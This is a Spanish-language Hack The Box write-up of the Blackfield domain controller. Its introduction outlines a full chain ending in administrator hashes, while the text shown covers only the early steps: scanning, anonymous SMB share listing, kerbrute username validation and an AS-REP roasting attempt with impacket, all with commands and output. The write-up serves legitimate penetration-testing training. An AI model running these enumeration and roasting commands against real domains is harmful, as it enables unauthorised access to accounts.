• En este post vamos a estar haciendo la maquina Blackfield de la plataforma de Hack The Box donde vamos a estar enumerando por SMB, estar usando kerbrute para validar usuarios del dominio y poder hacer un ASRepRoast Attack además de que enumerando con Bloodhound encontramos que podemos cambiarle la contraseña a un usuario usando net rpc y nos conectaremos con evil-winrm ala maquina para la escalada de privilegios abusaremos de un privilegio que tenemos que es el SeBackupPrivilege para hacer una copia de 2 archivos y usar secretsdump para ver los hashes de los usuarios y conectarnos como el administrador.

PortScan

  • Comenzamos escaneando los servicios que corre la maquina victima en sus puertos abiertos por el protocolo TCP.
➜  nmap sudo nmap -sCV -p53,88,135,389,445,593,3268,5985 10.129.126.69 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-19 19:05 CST
Nmap scan report for 10.129.126.69
Host is up (0.089s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-20 08:05:47Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-04-20T08:05:53
|_  start_date: N/A
|_clock-skew: 6h59m59s

Enumeración

  • Estamos ante un DC.
➜  nmap crackmapexec smb 10.129.126.69
SMB         10.129.126.69   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
  • Vamos a ver si hay recursos compartidos por smb.
➜  nmap smbmap -H 10.129.126.69 -u 'miguelito' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.129.126.69:445	Name: 10.129.126.69       	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	NO ACCESS	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share
	profiles$                                         	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share
  • Tenemos privilegio de lectura en profiles$.
➜  nmap smbmap -H 10.129.126.69 -u 'miguelito' -r 'profiles$' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.129.126.69:445	Name: 10.129.126.69       	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	NO ACCESS	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share
	profiles$                                         	READ ONLY	
	./profiles$
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	.
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	..
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AAlleni
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ABarteski
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ABekesz
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ABenzies
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ABiemiller
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AChampken
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ACheretei
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ACsonaki
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AHigchens
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AJaquemai
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AKlado
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AKoffenburger
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AKollolli
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AKruppe
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AKubale
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ALamerz
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AMaceldon
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AMasalunga
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ANavay
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ANesterova
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ANeusse
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AOkleshen
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	APustulka
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ARotella
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ASanwardeker
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AShadaia
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ASischo
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ASpruce
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ATakach
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ATaueg
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ATwardowski
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	audit2020
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AWangenheim
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AWorsey
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	AZigmunt
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BBakajza
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BBeloucif
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BCarmitcheal
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BConsultant
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BErdossy
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BGeminski
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BLostal
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BMannise
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BNovrotsky
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BRigiero
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BSamkoses
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	BZandonella
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CAcherman
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CAkbari
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CAldhowaihi
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CArgyropolous
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CDufrasne
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CGronk
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	Chiucarello
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	Chiuccariello
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CHoytal
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CKijauskas
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CKolbo
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CMakutenas
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CMorcillo
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CSchandall
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CSelters
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	CTolmie
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DCecere
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DChintalapalli
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DCwilich
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DGarbatiuc
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DKemesies
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DMatuka
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DMedeme
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DMeherek
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DMetych
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DPaskalev
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DPriporov
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DRusanovskaya
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DVellela
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DVogleson
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	DZwinak
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	EBoley
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	EEulau
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EFeatherling
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EFrixione
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EJenorik
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EKmilanovic
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ElKatkowsky
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EmaCaratenuto
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EPalislamovic
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EPryar
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ESachhitello
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ESariotti
	dr--r--r--                0 Wed Jun  3 11:47:11 2020	ETurgano
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	EWojtila
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FAlirezai
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FBaldwind
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FBroj
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FDeblaquire
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FDegeorgio
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FianLaginja
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FLasokowski
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FPflum
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	FReffey
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GaBelithe
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	Gareld
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GBatowski
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GForshalger
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GGomane
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GHisek
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GMaroufkhani
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GMerewether
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GQuinniey
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GRoswurm
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	GWiegard
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	HBlaziewske
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	HColantino
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	HConforto
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	HCunnally
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	HGougen
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	HKostova
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	IChristijr
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	IKoledo
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	IKotecky
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ISantosi
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JAngvall
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JBehmoiras
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JDanten
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JDjouka
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JKondziola
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JLeytushsenior
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JLuthner
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JMoorehendrickson
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JPistachio
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JScima
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JSebaali
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JShoenherr
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	JShuselvt
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KAmavisca
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KAtolikian
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KBrokinn
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KCockeril
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KColtart
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KCyster
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KDorney
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KKoesno
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KLangfur
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KMahalik
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KMasloch
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KMibach
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KParvankova
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KPregnolato
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KRasmor
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KShievitz
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KSojdelius
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KTambourgi
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KVlahopoulos
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	KZyballa
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LBajewsky
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LBaligand
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LBarhamand
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LBirer
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LBobelis
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LChippel
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LChoffin
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LCominelli
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LDruge
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LEzepek
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LHyungkim
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LKarabag
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LKirousis
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LKnade
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LKrioua
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LLefebvre
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LLoeradeavilez
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LMichoud
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LTindall
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	LYturbe
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MArcynski
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MAthilakshmi
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MAttravanam
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MBrambini
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MHatziantoniou
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MHoerauf
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MKermarrec
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MKillberg
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MLapesh
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MMakhsous
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MMerezio
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MNaciri
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MShanmugarajah
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MSichkar
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MTemko
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MTipirneni
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MTonuri
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	MVanarsdel
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NBellibas
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NDikoka
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NGenevro
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NGoddanti
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NMrdirk
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NPulido
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NRonges
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NSchepkie
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	NVanpraet
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	OBelghazi
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	OBushey
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	OHardybala
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	OLunas
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ORbabka
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PBourrat
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PBozzelle
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PBranti
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PCapperella
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PCurtz
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PDoreste
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PGegnas
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PMasulla
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PMendlinger
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PParakat
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PProvencer
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PTesik
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PVinkovich
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PVirding
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	PWeinkaus
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RBaliukonis
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RBochare
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RKrnjaic
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RNemnich
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RPoretsky
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RStuehringer
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RSzewczuga
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RVallandas
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RWeatherl
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	RWissor
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SAbdulagatov
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SAjowi
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SAlguwaihes
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SBonaparte
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SBouzane
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SChatin
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SDellabitta
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SDhodapkar
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SEulert
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SFadrigalan
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SGolds
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SGrifasi
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SGtlinas
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SHauht
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SHederian
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SHelregel
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SKrulig
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SLewrie
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SMaskil
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	Smocker
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SMoyta
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SRaustiala
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SReppond
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SSicliano
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SSilex
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SSolsbak
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	STousignaut
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	support
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	svc_backup
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SWhyte
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	SWynigear
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TAwaysheh
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TBadenbach
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TCaffo
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TCassalom
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TEiselt
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TFerencdo
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TGaleazza
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TKauten
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TKnupke
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TLintlop
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TMusselli
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TOust
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TSlupka
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TStausland
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	TZumpella
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	UCrofskey
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	UMarylebone
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	UPyrke
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VBublavy
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VButziger
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VFuscca
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VLitschauer
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VMamchuk
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VMarija
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VOlaosun
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	VPapalouca
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	WSaldat
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	WVerzhbytska
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	WZelazny
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	XBemelen
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	XDadant
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	XDebes
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	XKonegni
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	XRykiel
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YBleasdale
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YHuftalin
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YKivlen
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YKozlicki
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YNyirenda
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YPredestin
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YSeturino
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YSkoropada
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YVonebers
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	YZarpentine
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ZAlatti
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ZKrenselewski
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ZMalaab
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ZMiick
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ZScozzari
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ZTimofeeff
	dr--r--r--                0 Wed Jun  3 11:47:12 2020	ZWausik
	SYSVOL                                            	NO ACCESS	Logon server share
  • Al parecer son nombres de usuarios de todos estos usuarios debemos ver cuantos de esos son verdaderos.
➜  nmap smbmap -H 10.129.126.69 -u 'miguelito' -r 'profiles$' --no-banner | awk 'NF{print $NF}' > ../content/users.txt
➜  content echo "10.129.126.69 BLACKFIELD.local blackfield.local" | sudo tee -a /etc/hosts
10.129.126.69 BLACKFIELD.local blackfield.local
  • Ahora validamos los usuarios.
➜  content /opt/kerbrute_linux_amd64 userenum --dc 10.129.126.69 -d blackfield.local users.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 04/19/24 - Ronnie Flathers @ropnop

2024/04/19 19:20:59 >  Using KDC(s):
2024/04/19 19:20:59 >  	10.129.126.69:88

2024/04/19 19:21:19 >  [+] VALID USERNAME:	 audit2020@blackfield.local
2024/04/19 19:23:14 >  [+] VALID USERNAME:	 support@blackfield.local
2024/04/19 19:23:19 >  [+] VALID USERNAME:	 svc_backup@blackfield.local
2024/04/19 19:23:45 >  Done! Tested 315 usernames (3 valid) in 166.123 seconds
➜  content impacket-GetNPUsers blackfield.local/ -no-pass -usersfile valid_users.txt
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
